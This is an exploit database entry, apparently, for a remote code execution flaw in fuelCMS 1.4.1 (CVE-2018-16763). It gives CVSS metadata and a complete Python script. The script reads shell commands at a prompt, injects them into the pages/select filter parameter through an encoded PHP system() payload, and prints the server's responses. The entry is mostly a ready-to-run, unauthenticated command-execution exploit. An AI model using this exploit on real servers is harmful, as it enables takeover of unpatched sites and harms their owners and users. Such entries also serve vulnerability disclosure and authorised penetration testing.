fuelCMS 1.4.1 Remote Code Execution

2019.07.20
Credit: 0xd0ff9
Risk: Low
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution # Date: 2019-07-19 # Exploit Author: 0xd0ff9 # Vendor Homepage: https://www.getfuelcms.com/ # Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 # Version: <= 1.4.1 # Tested on: Ubuntu - Apache2 - php5 # CVE : CVE-2018-16763 import requests import urllib url = "http://127.0.0.1:8881" def find_nth_overlapping(haystack, needle, n): start = haystack.find(needle) while start >= 0 and n > 1: start = haystack.find(needle, start+1) n -= 1 return start while 1: xxxx = raw_input('cmd:') burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27" proxy = {"http":"http://127.0.0.1:8080"} r = requests.get(burp0_url, proxies=proxy) html = "<!DOCTYPE html>" htmlcharset = r.text.find(html) begin = r.text[0:20] dup = find_nth_overlapping(r.text,begin,2) print r.text[0:dup]


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